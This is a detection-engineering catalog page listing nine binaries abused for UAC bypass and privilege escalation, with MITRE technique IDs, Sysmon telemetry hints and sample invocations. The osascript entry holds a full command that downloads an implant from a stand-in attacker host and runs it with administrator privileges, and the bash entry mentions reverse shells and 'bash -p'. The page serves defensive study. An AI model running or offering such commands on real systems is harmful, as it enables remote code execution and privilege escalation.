UAC BypassTactic: Privilege Escalation (TA0004)9 Verified Binaries

UAC Bypass LOLBins & Privilege Escalation Vectors

Windows User Account Control (UAC) bypass techniques leverage auto-elevating binaries and trusted registry/environment hijacking to execute code at High or System integrity without prompting the interactive user.

Detection Engineering Context

Exploits auto-elevating binaries (such as fodhelper.exe, computerdefaults.exe, sdclt.exe) that execute configured registry keys (HKCU\Software\Classes\ms-settings).

Key Log Telemetry: Sysmon Event ID 12/13 (Registry Object Added/Modified) in HKCU\Software\Classes and subsequent process creation with High integrity.
Total Capable Binaries: 9
Windows: 7
Linux: 1
macOS: 1

Catalog of UAC Bypass LOLBins

Displaying 9 items
Windows1 weaponized tactics

ComputerDefaults.exe

ComputerDefaults.exe is a Windows system utility for managing default applications for tasks like web browsing, emailing, and media playback.

Sample Vector:
ComputerDefaults.exe
T1548.002
Windows1 weaponized tactics

Eudcedit.exe

Private Character Editor Windows Utility

Sample Vector:
eudcedit
T1548.002
Windows2 weaponized tactics

Eventvwr.exe

Displays Windows Event Logs in a GUI window.

Sample Vector:
eventvwr.exe
T1548.002
Windows2 weaponized tactics

iscsicpl.exe

Microsoft iSCSI Initiator Control Panel tool

Sample Vector:
c:\windows\syswow64\iscsicpl.exe
T1548.002
Windows1 weaponized tactics

Mmc.exe

Load snap-ins to locally and remotely manage Windows systems

Sample Vector:
mmc.exe gpedit.msc
T1218.014
Windows1 weaponized tactics

odbcad32.exe

ODBC Data Source Administrator to manage User/System DSNs and ODBC drivers.

Sample Vector:
odbcad32.exe
T1548.002
Windows1 weaponized tactics

Wsreset.exe

Used to reset Windows Store settings according to its manifest file

Sample Vector:
wsreset.exe
T1548.002
Linux1 weaponized tactics

bash

The GNU Bourne Again SHell (bash) is the default interactive shell on most Linux distributions. Abused for spawning interactive reverse TCP shells, executing encoded base64 commands, and privilege escalation.

Sample Vector:
bash -p
T1059.004T1071
macOS1 weaponized tactics

osascript

Osascript executes Open Scripting Architecture (OSA) scripts such as AppleScript and JavaScript for Automation (JXA). Widely used in macOS malware to display convincing phishing dialogs, harvest credentials, control System Events, and execute shell commands.

Sample Vector:
osascript -e 'do shell script "curl -s http://attacker.host/implant | bash" with administrator privileges'
T1059.002T1003
Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection EngineerCheck Point